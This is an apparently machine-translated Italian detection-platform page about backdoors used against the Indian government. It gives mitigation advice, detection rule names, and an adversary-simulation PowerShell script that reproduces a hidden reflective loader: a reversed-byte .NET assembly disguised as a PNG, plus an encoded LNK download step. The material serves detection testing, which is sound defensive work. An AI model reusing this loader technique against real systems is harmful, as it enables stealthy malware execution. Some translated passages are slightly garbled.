Attacchi APT prendono di mira il governo indiano con SHEETCREEP, FIREPOWER e MAILCREEP | Parte 2
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
Il rapporto copre l’operazione Sheet Attack, che ha distribuito tre backdoor su misura – SHEETCREEP, FIREPOWER e MAILCREEP – per compromettere le organizzazioni governative indiane. Gli impianti si sono basati su piattaforme cloud legittime per comando e controllo, tra cui Google Sheets, Firebase Realtime Database e Microsoft Graph API, aiutando l’attività a confondersi con il normale traffico SaaS. L’analisi nota anche artefatti coerenti con gli sviluppatori che utilizzano AI generativa per assistere la produzione di codice. La campagna è valutata come probabilmente collegata a un sottogruppo di APT36 basato in Pakistan.
Indagine
ThreatLabz ha condotto sia analisi dinamica che statica delle backdoor, documentando i metodi di persistenza, i flussi di lavoro C2, e il comportamento di esfiltrazione dei dati. Il team ha anche mappato l’infrastruttura di supporto, osservato il filtraggio basato su geografia e User-Agent, e catturato indicatori a livello di codice che suggeriscono l’assistenza AI nella generazione di sorgenti.
Mitigazione
Implementare rilevamenti stratificati per catene di consegna PDF/LNK sospetti, e monitorare per compiti programmati che avviano l’esecuzione di PowerShell o VBS. Applicare controlli rigorosi in uscita e il monitoraggio delle anomalie per i servizi cloud comunemente abusati come C2, tra cui Google Sheets, Firebase e Microsoft Graph. Utilizzare il blocco basato sugli hash per payload conosciuti e bloccare i domini e gli indirizzi IP malevoli identificati.
Risposta
Quando rilevato, isolare l’endpoint, terminare l’attività cmd.exe e PowerShell nascosta, rimuovere i compiti programmati correlati, ed eliminare i binari della backdoor. Preservare e rivedere i log C2 basati su Google Sheets e gli artefatti Firebase, poi cercare nell’ambiente ulteriori host che mostrano gli stessi indicatori.
Flusso di Attacco
Rilevamenti
Download o Upload via Powershell (via cmdline)
Visualizza
Dominio Microsoft Graph API Risolto da Processo Insolito (via dns_query)
Visualizza
File sospetti nel Profilo Utente Pubblico (via file_event)
Visualizza
Tentativo di Esecuzione Suspicious GNU Wget (via cmdline)
Visualizza
Chiama Metodi .NET Sospetti da Powershell (via powershell)
Visualizza
Esecuzione Sospetta da Profilo Utente Pubblico (via process_creation)
Visualizza
Possibile Infiltrazione/Esfiltrazione Dati/C2 tramite Servizi/Strumenti di Terze Parti (via dns)
Visualizza
File Estratti Sospetti da un Archive (via file_event)
Visualizza
IOC (SourceIP) per rilevare: Attacchi APT mirano il governo indiano usando SHEETCREEP, FIREPOWER e MAILCREEP | Parte 2
Visualizza
IOC (HashMd5) per rilevare: Attacchi APT mirano il governo indiano usando SHEETCREEP, FIREPOWER e MAILCREEP | Parte 2
Visualizza
IOC (DestinationIP) per rilevare: Attacchi APT mirano il governo indiano usando SHEETCREEP, FIREPOWER e MAILCREEP | Parte 2
Visualizza
IOC (HashSha1) per rilevare: Attacchi APT mirano il governo indiano usando SHEETCREEP, FIREPOWER e MAILCREEP | Parte 2
Visualizza
IOC (HashSha256) per rilevare: Attacchi APT mirano il governo indiano usando SHEETCREEP, FIREPOWER e MAILCREEP | Parte 2
Visualizza
Rilevamento dei Comandi PowerShell per SHEETCREEP e Distribuzione Backdoor FIREPOWER [Windows Powershell]
Visualizza
Rilevamento di Comunicazione C2 di SHEETCREEP e FIREPOWER Backdoor [Connessione di Rete Windows]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Check Pre-volo di Telemetria & Baseline deve essere passato.
Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.
-
Narrativa dell’Attacco & Comandi:
- Prepara il PNG malevolo:
- L’attaccante crea un file PNG (
details.png) che in realtà contiene un flusso di byte di un assembly .NET compilato, ma con i suoi byte invertiti per evitare l’analisi statica.
- L’attaccante crea un file PNG (
- Avviare PowerShell in modalità nascosta per caricare l’assembly:
- L’attaccante esegue PowerShell con
-WindowStyle Hidden -Commande un one-liner che legge i byte invertiti, ripristina l’ordine corretto, carica l’assembly tramite[System.Reflection.Assembly]::Load(), e invoca un punto di ingresso noto (Task10.Program::MB()).
- L’attaccante esegue PowerShell con
- Distribuzione alternava di LNK a base di fuoco potenza:
- Un .lnk preparato
.lnkscorciatoia eseguepowershell.execon--headless -e(script codificato) per recuperare ed eseguire un backdoor PowerShell remoto.
- Un .lnk preparato
Questi passaggi corrispondono esattamente alle stringhe che la regola Sigma cerca, garantendo che l’allarme venga attivato.
- Prepara il PNG malevolo:
-
Script di Test di Regressione:
# ------------------------------------------------- # Simulazione payload SHEETCREEP – riproduce esattamente la linea di comando # ------------------------------------------------- # 1. Creare un assembly .NET fittizio (semplice C# hello world) e compilarlo $source = @" using System; public class Task10 { public static void MB() { Console.WriteLine("Payload executed"); } } "@ $tempDir = "$env:TEMPsheetcreep" New-Item -ItemType Directory -Force -Path $tempDir | Out-Null $csFile = Join-Path $tempDir "Task10.cs" $dllFile = Join-Path $tempDir "Task10.dll" $source | Set-Content -Path $csFile -Encoding UTF8 # Compile using csc (assumes .NET Framework SDK installed) $cscPath = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" & $cscPath /target:library /out:$dllFile $csFile # 2. Leggere i byte della DLL, invertirli e scrivere a un file .png $bytes = [IO.File]::ReadAllBytes($dllFile) $revBytes = $bytes[($bytes.Length-1)..0] $pngPath = Join-Path $tempDir "details.png" [IO.File]::WriteAllBytes($pngPath, $revBytes) # 3. Eseguire esattamente la linea di comando PowerShell malevola (questo attiverà la regola) $maliciousCmd = '-WindowStyle Hidden -Command "$b=[IO.File]::ReadAllBytes(''details.png'');' + '([System.Reflection.Assembly]::Load([byte[]]($b[($b.Length-1)..0])).GetType("Task10.Program")::MB())"' Start-Process -FilePath "$env:SystemRootSystem32WindowsPowerShellv1.0powershell.exe" ` -ArgumentList $maliciousCmd ` -WindowStyle Hidden ` -NoNewWindow # Cleanup (opzionale, eseguire dopo la verifica) # Remove-Item -Recurse -Force $tempDir -
Comandi di Pulizia:
# Rimuovere file e directory temporanei creati per il test $tempDir = "$env:TEMPsheetcreep" if (Test-Path $tempDir) { Remove-Item -Recurse -Force $tempDir }